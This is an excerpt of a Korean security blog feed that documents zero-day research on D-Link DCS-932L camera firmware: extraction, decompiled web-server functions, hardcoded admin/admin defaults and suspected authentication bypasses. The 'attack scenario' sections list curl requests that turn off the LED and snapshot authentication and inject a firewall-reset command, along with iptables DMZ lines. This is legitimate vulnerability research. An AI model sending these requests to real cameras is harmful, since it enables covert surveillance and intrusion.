    v5 = (unsigned __int16)(v6 &amp; 0xFF00) &gt;&gt; 8;
    if ( (v6 &amp; 0x7F) != 0 &amp;&amp; (v5 = v6 &amp; 0x7F, v4 = &quot;child(%d) killed (signal %d)\n&quot;, (unsigned __int8)v6 == 127) )
      trace(16, (int)&quot;child(%d) stopped (signal %d)\n&quot;, v2[1], (unsigned __int16)(v6 &amp; 0xFF00) &gt;&gt; 8);
    else
      trace(16, (int)v4, v2[1], v5);
    dword_491720 = FreeEntry(&amp;dword_4934A0, i);
    free(v2);
    ++i;
  }
  return result;
}</code></pre><ul>
<li>웹 서버에서 CGI 프로세스의 종료 상태를 관리</li>
<li><code>websReapChildren(v2[1], (int)&amp;v6)</code>를 호출하여 자식 프로세스 종료 여부 확인</li>
<li>자식 프로세스가 종료 시<ul>
<li><code>websConnClose(v3, 200);</code> 실행</li>
<li><code>trace(16, ...);</code>를 통해 종료 로그 남김</li>
<li><code>FreeEntry(&amp;dword_4934A0, i);</code>를 통해 목록에서 제거</li>
</ul>
</li>
</ul>
<h4 id="websreapchildrenint-a1-int-a2">websReapChildren(int a1, int a2)</h4>
<pre><code>BOOL __fastcall websReapChildren(int a1, int a2)
{
  return waitpid(a1, a2, 1) != a1;
}</code></pre><ul>
<li><p><strong><code>waitpid(a1, a2, 1)</code></strong></p>
<ul>
<li><code>a1</code> 프로세스의 상태를 확인하고, 종료 여부를 반환</li>
<li><code>1</code> 옵션은 Non-blocking 모드 (즉, 기다리지 않고 바로 반환)</li>
</ul>
</li>
<li><p><strong><code>return waitpid(a1, a2, 1) != a1;</code></strong></p>
<ul>
<li><code>waitpid()</code>의 반환값이 <code>a1</code>과 같지 않다면 TRUE 반환</li>
<li>프로세스가 종료되지 않았다면 TRUE 반환</li>
<li>프로세스가 종료되었으면 FALSE 반환</li>
</ul>
</li>
</ul>
<h4 id="setsysinfolongint-a1-int-a2">setSysInfoLong(int a1, int a2)</h4>
<pre><code>int __fastcall setSysInfoLong(int a1, int a2)
{
  int result; // $v0
  int v5; // $s2
  int v6; // [sp+18h] [-8h] BYREF

  result = open(&quot;/dev/gpio&quot;, 0);
  v5 = result;
  v6 = a2;
  if ( result &gt;= 0 )
  {
    ioctl(result, (a1 &lt;&lt; 8) | 0x20081, &amp;v6);
    return close(v5);
  }
  return result;
}</code></pre><ul>
<li><p><strong><code>open(&quot;/dev/gpio&quot;, 0);</code></strong></p>
<ul>
<li><code>/dev/gpio</code> 파일을 열어 GPIO 장치에 접근</li>
<li>결과가 0 이상이면 성공, 그렇지 않으면 실패</li>
</ul>
</li>
<li><p><strong><code>ioctl(result, (a1 &lt;&lt; 8) | 0x20081, &amp;v6);</code></strong></p>
<ul>
<li><code>a1</code> 값을 왼쪽으로 8비트 이동(shift) 후, <code>0x20081</code>과 OR 연산</li>
<li><code>v6 = a2;</code>를 사용해 GPIO 값을 변경</li>
</ul>
</li>
<li><p><strong><code>close(v5);</code></strong></p>
<ul>
<li>파일을 닫고 정상 종료</li>
</ul>
</li>
</ul>
<h3 id="etc_rowebcgisystemcgi">/etc_ro/web/cgi/system.cgi</h3>
<pre><code>CameraName=%%CameraName();%%
Location=%%Location();%%
AdminID=%%AdminID();%%
AdminPassword=%%AdminPassword();%%
LEDControl=%%LEDControl();%%
SnapshotURLAuthentication=%%SnapshotURLAuthentication();%%</code></pre><ul>
<li><code>%%Function();%%</code> 형태의 매크로(템플릿 엔진) 사용</li>
<li>각 필드는 실제 값이 할당되기 전의 변수 자리 표시자(Placeholder)</li>
</ul>
<h4 id="취약점-찍어보기">취약점 찍어보기</h4>
<h5 id="관리자-계정-정보-adminid-adminpassword-유출-가능성">관리자 계정 정보 (<code>AdminID</code>, <code>AdminPassword</code>) 유출 가능성</h5>
<ul>
<li>CGI 스크립트가 실행될 때, 해당 값이 HTML 소스에서 그대로 보일 수 있음</li>
</ul>
<pre><code>curl -X GET http://&lt;대상 ip&gt;/cgi/system.cgi</code></pre><ul>
<li><p><strong>수정되지 않은 기본값(Default Credentials)이 존재할 가능성</strong></p>
<ul>
<li>일부 장치에서는 기본값(admin/admin)이 그대로 저장됨</li>
<li><code>/etc_ro/Wireless/RT2860AP/RT2860_default_novlan</code> 파일에도 <code>Password=admin</code>으로 설정되어 있음</li>
</ul>
</li>
<li><p><strong>해당 값이 <code>nvram_bufget()</code>에서 로드될 가능성</strong></p>
<ul>
<li><code>nvram_bufget(0, &quot;AdminPassword&quot;)</code> 등을 사용하여 불러올 가능성이 있음</li>
<li>이전 <code>alphapd</code> 분석에서 <code>nvram_bufget()</code>을 통해 설정을 불러오는 부분이 확인됨</li>
</ul>
</li>
</ul>
<h5 id="ledcontrol--snapshoturlauthentication-조작-가능성"><code>LEDControl</code> &amp; <code>SnapshotURLAuthentication</code> 조작 가능성</h5>
<ul>
<li><strong><code>LEDControl</code> 필드 변경을 통해 물리적 LED 동작을 조작 가능</strong><ul>
<li>보안 카메라 LED를 강제로 끄거나, 원격으로 조작하여 존재를 숨길 가능성</li>
<li>웹 요청으로 LED를 조작할 수 있는지 확인 필요</li>
</ul>
</li>
</ul>
<blockquote>
<p>curl -X POST http://&lt;대상 ip&gt;/cgi/system.cgi -d &quot;LEDControl=off&quot;</p>
</blockquote>
<ul>
<li><strong><code>SnapshotURLAuthentication</code>를 비활성화하면 인증 없이 스트림 접근 가능</strong><ul>
<li>보안 카메라의 스냅샷 URL 인증을 비활성화하여 누구나 접근 가능하도록 만들 가능성</li>
<li>정상적으로 변경되면, 인증 없이 직접 스냅샷 URL 접근 가능할 것...</li>
</ul>
</li>
</ul>
<blockquote>
<p>curl -X POST http://<target_ip>/cgi/system.cgi -d &quot;SnapshotURLAuthentication=0&quot;</p>
</blockquote>
<blockquote>
<p>http://<target_ip>/image/jpeg.cgi</p>
</blockquote>
<h3 id="sbinfirewallsh">/sbin/firewall.sh</h3>
<h4 id="주요-기능">주요 기능</h4>
<ul>
<li><p><strong>iptables 규칙 초기화</strong> (<code>iptablesAllFilterClear()</code>)</p>
<ul>
<li>모든 필터링 규칙 제거 (<code>iptables -F -t filter</code>)</li>
<li><code>INPUT</code>, <code>OUTPUT</code>, <code>FORWARD</code> 기본 정책을 <code>ACCEPT</code>로 설정</li>
</ul>
</li>
<li><p><strong>방화벽 초기화 (<code>init()</code>)</strong></p>
<ul>
<li>IP 및 포트 필터링 체인 생성</li>
<li>MAC 주소 필터링 체인 생성</li>
<li>포트 포워딩 체인 생성</li>
<li>DMZ 체인 설정</li>
</ul>
</li>
<li><p><strong>방화벽 종료 (<code>fini()</code>)</strong></p>
<ul>
<li>정의되어 있지만, 실제로 동작하지 않음 (빈 함수)</li>
</ul>
</li>
</ul>
<h4 id="취약점-찍어보기-1">취약점 찍어보기</h4>
<h5 id="iptablesallfilterclear-문제점"><code>iptablesAllFilterClear()</code> 문제점</h5>
<ul>
<li>모든 방화벽 규칙을 삭제한 후 기본 정책을 <code>ACCEPT</code>로 설정</li>
</ul>
<pre><code>iptables -P INPUT ACCEPT
iptables -P OUTPUT ACCEPT
iptables -P FORWARD ACCEPT</code></pre><ul>
<li>모든 인바운드/아웃바운드/포워딩 트래픽을 허용: 방화벽이 비활성화된 것과 동일</li>
<li>공격자가 방화벽을 초기화(<code>firewall.sh init</code>)하면 모든 트래픽이 필터링 없이 통과 가능.</li>
</ul>
<h5 id="dmz_chain-및-port_forward_chain-조작-가능성"><code>DMZ_CHAIN</code> 및 <code>PORT_FORWARD_CHAIN</code> 조작 가능성</h5>
<ul>
<li><code>iptables -t nat</code>을 이용해 포트 포워딩 및 DMZ 설정을 변경할 수 있음</li>
</ul>
<pre><code>iptables -t nat -I PREROUTING 1 -j port_forward
iptables -t nat -I PREROUTING 2 -j DMZ</code></pre><ul>
<li>포트 포워딩 규칙이 높은 우선순위로 추가됨 (PREROUTING 1, 2)</li>
<li>DMZ 설정이 강제 적용될 경우, 내부 네트워크의 기기들이 외부에서 접근 가능할 수 있음</li>
</ul>
<h5 id="init-함수-실행-시-우선순위-문제"><code>init()</code> 함수 실행 시 우선순위 문제</h5>
<ul>
<li>방화벽 초기화 이후에 <code>iptablesAllFilterRun()</code> 및 <code>iptablesAllNATRun()</code>이 주석 처리되어 있음</li>
</ul>
<pre><code>#iptablesAllFilterRun();
#iptablesAllNATRun();</code></pre><ul>
<li>원래는 추가적인 방화벽 규칙을 설정해야 하는데, 이 부분이 실행되지 않음</li>
<li><code>init()</code> 실행 후 방화벽 설정이 완전하지 않거나 비정상적으로 동작할 가능성 존재</li>
</ul>
<h4 id="공격-시나리오-짜보기">공격 시나리오 짜보기</h4>
<h5 id="방화벽-무력화-공격">방화벽 무력화 공격</h5>
<blockquote>
<p>curl -X GET http://&lt;대상 ip&gt;/cgi-bin/system.cgi?cmd=firewall.sh+init</p>
</blockquote>
<ul>
<li>방화벽을 초기화하여 모든 트래픽을 허용</li>
</ul>
<h5 id="포트-포워딩-강제-설정">포트 포워딩 강제 설정</h5>
<blockquote>
<p>iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to-destination 192.168.1.100:80</p>
</blockquote>
<ul>
<li>원격에서 내부 IP(192.168.1.100)의 웹 서버로 트래픽을 우회</li>
</ul>
<h5 id="dmz-강제-활성화">DMZ 강제 활성화</h5>
<blockquote>
<p>iptables -t nat -A PREROUTING -j DMZ</p>
</blockquote>
<ul>
<li>내부 네트워크 기기 전체가 외부에서 접근 가능해짐</li>
</ul>
<h3 id="bingcmd">/bin/gcmd</h3>
<h4 id="주요-기능-1">주요 기능</h4>
<ul>
<li><code>gcmd</code>는 <code>motion detection</code>(움직임 감지)과 관련된 기능을 수행하는 것으로 판단</li>
<li>실행 중 특정 <code>GPIO</code> 핀(<code>ioctl-gcmd_read_user1_sig_flag</code>)을 모니터링하여 동작을 감지</li>
<li>감지된 동작을 <code>/tmp/gotocamera/</code> 경로에 이미지로 저장하고, 이후 <code>dscamd</code> 프로세스를 호출하여 관련 데이터를 <code>json</code> 형식으로 전달하는 기능이 존재</li>
</ul>
]]></description>
        </item>
        <item>
            <title><![CDATA[[Zero-day] 심화 분석]]></title>
            <link>https://velog.io/@lilac_21/Zero-day-%EC%8B%AC%ED%99%94-%EB%B6%84%EC%84%9D</link>
            <guid>https://velog.io/@lilac_21/Zero-day-%EC%8B%AC%ED%99%94-%EB%B6%84%EC%84%9D</guid>
            <pubDate>Wed, 19 Mar 2025 11:45:07 GMT</pubDate>
            <description><![CDATA[<h1 id="자동화-분석-도구-사용">자동화 분석 도구 사용</h1>
<h2 id="emba">EMBA</h2>
<p><img src="https://velog.velcdn.com/images/lilac_21/post/48cd8f5f-26e7-458a-816d-44aacbd972a8/image.png" alt=""></p>
<ul>
<li>묘하게 파일 개수가 적은 느낌이...</li>
</ul>
<hr>
<h1 id="주요-cgi-스크립트예상-취약점-개별-분석">주요 cgi 스크립트/예상 취약점 개별 분석</h1>
<h2 id="uploadcgi">upload.cgi</h2>
<h3 id="follow-up-ftp">Follow-Up: FTP</h3>
<ul>
<li>FTP 관련 설정 파일이 존재하는지 확인</li>
</ul>
<pre><code>┌──(kali㉿kali)-[~/…/_dcs932lb1_v200_b6.bin.extracted/_50040.extracted/_3B6000.extracted/cpio-root]
└─$ ls -alR | grep ftp

-rwxrwxr-x  1 kali kali  52464 Feb 15 20:10 tftpupload
-rw-r--r-- 1 kali kali  5068 Feb 15 20:10 errrftp.htm
lrwxrwxrwx 1 kali kali   17 Feb 15 20:10 ftpd -&gt; ../../bin/busybox
lrwxrwxrwx 1 kali kali   17 Feb 15 20:10 ftpputimage -&gt; ../../bin/busybox</code></pre><h3 id="tftpupload-errrftphtm-검사-결과"><code>tftpupload</code>, <code>errrftp.htm</code> 검사 결과</h3>
<ul>
<li><p><strong>FTP 서비스</strong></p>
<ul>
<li><code>ftpd</code>: <code>/bin/busybox</code>에 대한 심볼릭 링크<ul>
<li>BusyBox의 내장 FTP 서버를 사용 중</li>
</ul>
</li>
<li><code>ftpputimage</code>: <code>/bin/busybox</code>에 대한 심볼릭 링크<ul>
<li>FTP를 통해 특정 이미지를 업로드하는 기능일 가능성 존재</li>
</ul>
</li>
</ul>
</li>
<li><p><strong>TFTP 서비스</strong></p>
<ul>
<li><code>tftpupload</code><ul>
<li>파일 업로드와 관련된 바이너리 실행 파일 존재</li>
</ul>
</li>
<li><code>errrftp.htm</code><ul>
<li>웹 인터페이스에서 FTP 관련 설정을 보여주는 HTML 파일</li>
</ul>
</li>
</ul>
</li>
</ul>
<h3 id="tftpupload-바이너리-분석"><code>tftpupload</code> 바이너리 분석</h3>
<ul>
<li><strong>파일 업로드 관련 메시지 포함</strong></li>
</ul>
<pre><code>recvfrom
***tftp server, listen port: 69***
/proc/mtdrmtd support not enable?
/bin/mtd_write -o %d -l %d write %s Kernel
write kernel
/bin/mtd_write -o %d -l %d write %s Bootloader
write bootloader</code></pre><ul>
<li><p>TFTP(Trivial File Transfer Protocol) 서버가 포트 69에서 실행됨</p>
</li>
<li><p>mtd_write 관련 메시지 포함: 플래시 메모리에 직접 기록하는 기능을 가질 가능성 존재</p>
</li>
<li><p><strong>로그 메시지 및 업로드 실패 처리</strong></p>
</li>
</ul>
<pre><code>cannot open upgrade file !!!
cannot stat upgrade file !!!
cannot mmap upgrade file !!!
upgrade file size is too small!!!
upgrade file with different signature !!!
upgrade file without signature !!!
upgrade file with bad checksum !!!</code></pre><ul>
<li>파일 업로드 후, 서명(signature)과 체크섬 검증을 수행하는 것으로 보임</li>
</ul>
<blockquote>
<p>확인 결과, tftp 서비스가 바로 돌아가는 건 아닌 것으로 보임</p>
</blockquote>
<h2 id="관리자-계정과-인증-관련-취약점-확인">관리자 계정과 인증 관련 취약점 확인</h2>
<h3 id="rt2860_default_novlan"><code>RT2860_default_novlan</code></h3>
<pre><code>┌──(kali㉿kali)-[~/…/cpio-root/etc_ro/Wireless/RT2860AP]
└─$ cat RT2860_default_novlan 
#The word of &quot;Default&quot; must not be removed
Default
WebInit=1
HostName=ralink
Login=admin
Password=admin
...</code></pre><ul>
<li>하드코딩?</li>
<li>기기가 초기화되거나 설정을 리셋하면, 공격자가 기본 계정(<code>admin/admin</code>)을 이용해 쉽게 접근할 수 있음</li>
</ul>
<h3 id="비밀번호-저장-방식-분석---gethexstring">비밀번호 저장 방식 분석 - getHEXString</h3>
<pre><code>┌──(kali㉿kali)-[~/…/_dcs932lb1_v200_b6.bin.extracted/_50040.extracted/_3B6000.extracted/cpio-root]
└─$ grep -Ri &quot;getHEXString&quot; ./etc_ro/web/

./etc_ro/web/function.js:function getHEXString(instr)
./etc_ro/web/advanced.htm:  if ((frm.AdminPassword.value == getHEXString(frm.OldPassword.value)) &amp;&amp; ((frm.NewPassword.value == frm.RetypePassword.value)))
./etc_ro/web/advanced.htm:     if (frm.AdminPassword.value != getHEXString(frm.OldPassword.value))</code></pre><ul>
<li><code>/etc_ro/web/function.js</code> 에 <code>getHEXString()</code> 함수가 존재</li>
<li><code>advanced.htm</code>에서 <code>getHEXString()</code>을 사용하여 비밀번호를 변환하는 것으로 판단</li>
<li>비밀번호가 평문으로 저장되는 것이 아니라 HEX 변환된 값으로 저장될 가능성 존재</li>
<li>암호화된 것이 아니라 단순한 문자열 변환(HEX encoding)일 가능성</li>
</ul>
<pre><code>&lt;FORM ACTION=&quot;/setSystemAdmin&quot; METHOD=&quot;POST&quot; autocomplete=&quot;off&quot;&gt;
&lt;input type=&quot;hidden&quot; name=&quot;AdminID&quot; value=&quot;admin&quot;&gt;
&lt;input type=&quot;hidden&quot; name=&quot;AdminPassword&quot; value=&quot;%%AdminPassword(2);%%&quot;&gt;</code></pre><ul>
<li>비밀번호가 숨겨진 입력 필드(<code>hidden input</code>)에 저장</li>
<li>공격자가 클라이언트 측에서 직접 패스워드를 변경하여 서버로 전송할 가능성</li>
</ul>
<h3 id="비밀번호-검증-로직-확인---alphad">비밀번호 검증 로직 확인 - alphad</h3>
<pre><code>┌──(kali㉿kali)-[~/…/_dcs932lb1_v200_b6.bin.extracted/_50040.extracted/_3B6000.extracted/cpio-root]
└─$ grep -Ri &quot;getHEXString&quot; ./bin ./sbin ./usr/bin ./usr/sbin

grep: ./bin/alphapd: binary file matches</code></pre><h3 id="alphad-파일-분석"><code>alphad</code> 파일 분석</h3>
<h4 id="nipcauserverify">nipcauserverify</h4>
<pre><code>int __fastcall nipcauserverify(int a1)
{
  int v1; // $v1
  const char *v3; // $v0
  int v4; // $a1
  char v5; // $a2
  int v6; // $v1
  int v7; // $a0
  int v8; // $v0
  _DWORD v10[16]; // [sp+20h] [-40h] BYREF

  v1 = *(_DWORD *)(a1 + 172);
  switch ( v1 )
  {
    case 3:
      strcpy((char *)v10, &quot;group=Administrator\r\n&quot;);
      goto LABEL_8;
    case 2:
      strcpy((char *)v10, &quot;group=Controller\r\n&quot;);
      goto LABEL_8;
    case 1:
      v4 = *(_DWORD *)&quot;group=User\r\n&quot;;
      v3 = &quot;group=User\r\n&quot;;
      goto LABEL_6;
  }
  v3 = &quot;group=None\r\n&quot;;
  if ( !v1 )
  {
    v4 = *(_DWORD *)&quot;group=None\r\n&quot;;
LABEL_6:
    v5 = v3[12];
    v6 = *((_DWORD *)v3 + 1);
    v7 = *((_DWORD *)v3 + 2);
    v10[0] = v4;
    v10[1] = v6;
    v10[2] = v7;
    LOBYTE(v10[3]) = v5;
  }
LABEL_8:
  v8 = strlen(v10);
  websWriteNormalHeader(a1, 200, v8, &quot;application/Dlink-inf&quot;, 0);
  websWriteFmt(a1, (const char *)v10);
  return websConnClose(a1, 200);
}</code></pre><ul>
<li><strong>사용자 그룹 확인</strong></li>
</ul>
<pre><code>v1 = *(_DWORD *)(a1 + 172);</code></pre><ul>
<li><p><code>a1 + 172</code> 오프셋의 값을 확인하여 사용자 권한 등급(<code>v1</code>)을 판별</p>
</li>
<li><p><code>switch (v1)</code> 문을 사용하여 <code>v1</code> 값에 따라 다른 그룹을 할당</p>
</li>
<li><p><strong>그룹별 권한 처리</strong></p>
</li>
</ul>
<pre><code>switch (v1)
{
    case 3:
        strcpy((char *)v10, &quot;group=Administrator\r\n&quot;);
        goto LABEL_8;
    case 2:
        strcpy((char *)v10, &quot;group=Controller\r\n&quot;);
        goto LABEL_8;
    case 1:
        v4 = *(_DWORD *)&quot;group=User\r\n&quot;;
        v3 = &quot;group=User\r\n&quot;;
        goto LABEL_6;
}</code></pre><ul>
<li><p><code>v1 == 3</code> → &quot;Administrator&quot; (최고 권한)</p>
</li>
<li><p><code>v1 == 2</code> → &quot;Controller&quot; (중간 관리자)</p>
</li>
<li><p><code>v1 == 1</code> → &quot;User&quot; (일반 사용자)</p>
</li>
<li><p><code>v1 == 0</code> → &quot;None&quot; (권한 없음)</p>
</li>
<li><p><strong>웹 응답 처리</strong></p>
</li>
</ul>
<pre><code>v8 = strlen(v10);
websWriteNormalHeader(a1, 200, v8, &quot;application/Dlink-inf&quot;, 0);
websWriteFmt(a1, (const char *)v10);
return websConnClose(a1, 200);</code></pre><ul>
<li><code>websWriteNormalHeader()</code>: 웹 서버 응답 헤더 작성</li>
<li><code>websWriteFmt()</code>: 응답 본문에 사용자 그룹 정보를 출력</li>
<li><code>websConnClose(a1, 200);</code>: HTTP 응답을 종료 (200 OK)</li>
</ul>
<h4 id="websstartauthentication">websStartAuthentication()</h4>
<pre><code>int websStartAuthentication()
{
  int v0; // $v0

  v0 = nvram_bufget(0, &quot;AccessControlEnable&quot;);
  if ( !strcmp(v0, &amp;word_44D1B8) )
    websEnableAllUser();
  return websEnableHtmlFile();
}</code></pre><ul>
<li><p><code>nvram_bufget(0, &quot;AccessControlEnable&quot;)</code></p>
<ul>
<li>NVRAM 설정에서 <code>AccessControlEnable</code> 값을 가져옴</li>
<li>접근 제어 기능(Access Control)이 활성화되어 있는지 확인하는 역할</li>
</ul>
</li>
<li><p><code>!strcmp(v0, &amp;word_44D1B8)</code></p>
<ul>
<li><code>word_44D1B8</code>는 비교 대상 문자열</li>
<li>만약 <code>AccessControlEnable</code> 값이 특정 값과 일치하면 모든 사용자 인증을 허용(<code>websEnableAllUser</code>)</li>
</ul>
</li>
<li><p><code>websEnableAllUser();</code></p>
<ul>
<li>모든 사용자에 대한 인증을 우회할 가능성</li>
</ul>
</li>
</ul>
<h4 id="websgetauthenticaterealmint-a1">websGetAuthenticateRealm(int a1)</h4>
<pre><code>int __fastcall websGetAuthenticateRealm(int a1)
{
  _DWORD *v1; // $s0
  char *v3; // $a1

  v1 = &amp;websForceAuthenticPathList;
  v3 = off_491294;
  if ( !off_491294 )
    return 0;
  while ( webncasestrcmp(*(_DWORD *)(a1 + 136), (int)v3) )
  {
    v1 += 2;
    v3 = (char *)v1[1];
    if ( !v3 )
      return 0;
  }
  return *v1;
}</code></pre><ul>
<li>보호된 웹 경로(<code>websForceAuthenticPathList</code>) 목록을 확인하여 인증이 필요한지 판단</li>
<li><code>webncasestrcmp(*(_DWORD *)(a1 + 136), (int)v3)</code><ul>
<li>요청된 경로와 보호된 경로를 비교</li>
</ul>
</li>
<li>일치하면 인증이 필요, 없으면 <code>0</code> 반환(즉, 인증 우회 가능?)</li>
</ul>
<blockquote>
<p>어떤 경로가 보호되고 있는지 <code>websForceAuthenticPathList</code> 값을 확인해야 함</p>
</blockquote>
<h4 id="websendauthentication">websEndAuthentication()</h4>
<pre><code>int websEndAuthentication()
{
  int v0; // $v0

  v0 = nvram_bufget(0, &quot;AccessControlEnable&quot;);
  if ( !strcmp(v0, &amp;word_44D1B8) )
    websDisableAllUser();
  return websDisableHtmlFile();
}</code></pre><ul>
<li><code>websStartAuthentication()</code>와 유사하지만, 인증 시스템을 종료하는 역할</li>
<li>만약 <code>AccessControlEnable</code> 값이 특정 값이면, 모든 사용자의 인증을 비활성화(<code>websDisableAllUser</code>)</li>
<li>NVRAM 값(<code>AccessControlEnable</code>)을 조작할 경우, 인증이 비활성화될 가능성 존재</li>
</ul>
<h2 id="명령어-실행-취약점-확인">명령어 실행 취약점 확인</h2>
<h3 id="alphapd-실행-파일에서-명령어-실행-함수-검색"><code>alphapd</code> 실행 파일에서 명령어 실행 함수 검색</h3>
<pre><code>┌──(kali㉿kali)-[~/…/_50040.extracted/_3B6000.extracted/cpio-root/bin]
└─$ strings ./alphapd | grep -E &quot;system|popen|exec&quot;

system
execve
please execute nvram_daemon first!
/cgi/system.cgi
/cgi/isystem.cgi
Can&#39;t execve %s: %s
Stream CGI process file is not executable</code></pre><h3 id="cgi-스크립트에서-명령-실행-코드-검색">CGI 스크립트에서 명령 실행 코드 검색</h3>
<pre><code>┌──(kali㉿kali)-[~/…/_dcs932lb1_v200_b6.bin.extracted/_50040.extracted/_3B6000.extracted/cpio-root]
└─$ grep -Ri &quot;system&quot; ./etc_ro/web/cgi/

┌──(kali㉿kali)-[~/…/_dcs932lb1_v200_b6.bin.extracted/_50040.extracted/_3B6000.extracted/cpio-root]
└─$ grep -Ri &quot;popen&quot; ./etc_ro/web/cgi/

┌──(kali㉿kali)-[~/…/_dcs932lb1_v200_b6.bin.extracted/_50040.extracted/_3B6000.extracted/cpio-root]
└─$ grep -Ri &quot;exec&quot; ./etc_ro/web/cgi/</code></pre><ul>
<li><code>./etc_ro/web/cgi/</code>에서 <code>system()</code>, <code>popen()</code>, <code>exec()</code> 함수 호출이 없음</li>
<li>CGI 스크립트 자체에서 명령 실행을 직접 수행하지 않는 것으로 보임</li>
</ul>
<h3 id="웹-인터페이스에서-명령어-실행-가능성-확인">웹 인터페이스에서 명령어 실행 가능성 확인</h3>
<pre><code>┌──(kali㉿kali)-[~/…/_dcs932lb1_v200_b6.bin.extracted/_50040.extracted/_3B6000.extracted/cpio-root]
└─$ grep -Ri &quot;cmd&quot; ./etc_ro/web/
grep: ./etc_ro/web/api/aplug.class: binary file matches
./etc_ro/web/html.htm:1 3 docmd.htm

┌──(kali㉿kali)-[~/…/_dcs932lb1_v200_b6.bin.extracted/_50040.extracted/_3B6000.extracted/cpio-root]
└─$ grep -Ri &quot;shell&quot; ./etc_ro/web/

┌──(kali㉿kali)-[~/…/_dcs932lb1_v200_b6.bin.extracted/_50040.extracted/_3B6000.extracted/cpio-root]
└─$ grep -Ri &quot;ping&quot; ./etc_ro/web/
grep: ./etc_ro/web/api/aplugLiteDL.cab: binary file matches</code></pre><ul>
<li><code>./etc_ro/web/html.htm: 1 3 docmd.htm</code><ul>
<li><code>&quot;docmd.htm&quot;</code>이 존재하는 것으로 보이며, 이 파일이 명령어 실행과 관련 있을 가능성 존재</li>
</ul>
</li>
<li><code>./etc_ro/web/api/aplugLiteDL.cab</code>가 바이너리 매칭됨<ul>
<li><code>ping</code> 관련 코드를 포함한 바이너리가 있을 가능성 존재</li>
</ul>
</li>
</ul>
]]></description>
        </item>
        <item>
            <title><![CDATA[[Zero-day] 초기 분석]]></title>
            <link>https://velog.io/@lilac_21/Zero-day-%EC%B4%88%EA%B8%B0-%EB%B6%84%EC%84%9D</link>
            <guid>https://velog.io/@lilac_21/Zero-day-%EC%B4%88%EA%B8%B0-%EB%B6%84%EC%84%9D</guid>
            <pubDate>Wed, 19 Mar 2025 11:43:33 GMT</pubDate>
            <description><![CDATA[<h1 id="파일-시스템-분석---binwalk">파일 시스템 분석 - Binwalk</h1>
<blockquote>
<p>binwalk -e dcs932lb1_v200_b6.bin</p>
</blockquote>
<p><img src="https://velog.velcdn.com/images/lilac_21/post/3e1fc9eb-a010-492b-99bc-13fd20056c9a/image.png" alt=""></p>
<p><img src="https://velog.velcdn.com/images/lilac_21/post/672087c1-033d-4687-b7b5-0507849e6b17/image.png" alt=""></p>
<ul>
<li>cpio 파일 시스템 확인</li>
<li>WiFi 공유기에 비해 파일/디렉토리의 양이 다소 적은 모습</li>
</ul>
<h2 id="디렉토리-파악">디렉토리 파악</h2>
<ul>
<li><p>실행 바이너리 (<code>/bin</code>, <code>/sbin</code>, <code>/usr/bin</code>, <code>/usr/sbin</code>) </p>
<ul>
<li>시스템에서 실행되는 주요 프로그램들</li>
</ul>
</li>
<li><p>설정 파일 (<code>/etc</code>, <code>/etc_ro</code>) </p>
<ul>
<li>환경설정, 네트워크 설정, 사용자 계정 정보 저장</li>
</ul>
</li>
<li><p>웹 인터페이스 관련 파일 (<code>/etc_ro/web</code>, <code>/etc_ro/web/cgi</code>) </p>
<ul>
<li>관리자 페이지, CGI 스크립트 확인 가능</li>
</ul>
</li>
<li><p>라이브러리 (<code>/lib</code>) </p>
<ul>
<li>암호화 및 네트워크 관련 라이브러리 포함</li>
</ul>
</li>
<li><p>네트워크 설정 (<code>/etc_ro/Wireless</code>, <code>/etc_ro/ppp</code>) </p>
<ul>
<li>무선 및 유선 네트워크 설정 포함</li>
</ul>
</li>
</ul>
<h1 id="busybox-분석">Busybox 분석</h1>
<h2 id="busybox">busybox</h2>
<pre><code>┌──(kali㉿kali)-[~/…/_dcs932lb1_v200_b6.bin.extracted/_50040.extracted/_3B6000.extracted/cpio-root]
└─$ file /bin/busybox
/bin/busybox: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=dc600ffc2f24a419c478c1918cb642ed8f4541e8, for GNU/Linux 3.2.0, stripped</code></pre><ul>
<li><strong>아키텍처</strong>: <code>ELF 64-bit LSB pie executable, x86-64</code>  <ul>
<li>보통 임베디드 장치는 MIPS 또는 ARM 기반이 많은데, 이 경우는 x86-64로 빌드됨</li>
<li>실기기에서 실행되는 환경이 다를 가능성?</li>
</ul>
</li>
</ul>
<h2 id="링크-탐색">링크 탐색</h2>
<pre><code>┌──(kali㉿kali)-[~/…/_dcs932lb1_v200_b6.bin.extracted/_50040.extracted/_3B6000.extracted/cpio-root]
└─$ readelf -a /bin/busybox | grep &quot;NEEDED&quot;
 0x0000000000000001 (NEEDED)             Shared library: [libresolv.so.2]
 0x0000000000000001 (NEEDED)             Shared library: [libc.so.6]</code></pre><ul>
<li><strong>동적 링크</strong>: <code>libresolv.so.2</code>, <code>libc.so.6</code>  <ul>
<li>DNS 해석 관련 라이브러리(<code>libresolv.so.2</code>)를 사용</li>
<li>일반적인 C 라이브러리(<code>libc.so.6</code>)도 포함</li>
</ul>
</li>
</ul>
<h2 id="활성-명령어-목록-확인">활성 명령어 목록 확인</h2>
<pre><code>┌──(kali㉿kali)-[~/…/_dcs932lb1_v200_b6.bin.extracted/_50040.extracted/_3B6000.extracted/cpio-root]
└─$ strings /bin/busybox | grep -i busybox
busybox
BusyBox is copyrighted by many authors between 1998-2015.
Usage: busybox [function [arguments]...]
   or: busybox --list[-full]
   or: busybox --install [-s] [DIR]
        BusyBox is a multi-call binary that combines many common Unix
        link to busybox for each function they wish to use and BusyBox
crond (busybox 1.37.0) started, log level %d
SERVER_SOFTWARE=busybox httpd/1.37.0
syslogd started: BusyBox v1.37.0
tar (busybox) 1.37.0
/etc/busybox.conf
BusyBox v1.37.0 (Debian 1:1.37.0-4)</code></pre><pre><code>┌──(kali㉿kali)-[~/…/_dcs932lb1_v200_b6.bin.extracted/_50040.extracted/_3B6000.extracted/cpio-root]
└─$ busybox --list
[
[[
acpid
adjtimex
ar
arch
arp
arping
ascii
ash
awk
base64
basename
bc
blkdiscard
blkid
blockdev
brctl
bunzip2
bzcat
bzip2
...</code></pre><h3 id="주요-명령어-정리">주요 명령어 정리</h3>
<ul>
<li><strong>기본 유닉스 명령어</strong>: <code>ls</code>, <code>cp</code>, <code>mv</code>, <code>rm</code>, <code>chmod</code>, <code>chown</code>, <code>ln</code></li>
<li><strong>네트워크 유틸리티</strong>: <code>ifconfig</code>, <code>ping</code>, <code>netstat</code>, <code>nc</code>, <code>telnet</code>, <code>wget</code></li>
<li><strong>프로세스 관리</strong>: <code>ps</code>, <code>kill</code>, <code>top</code></li>
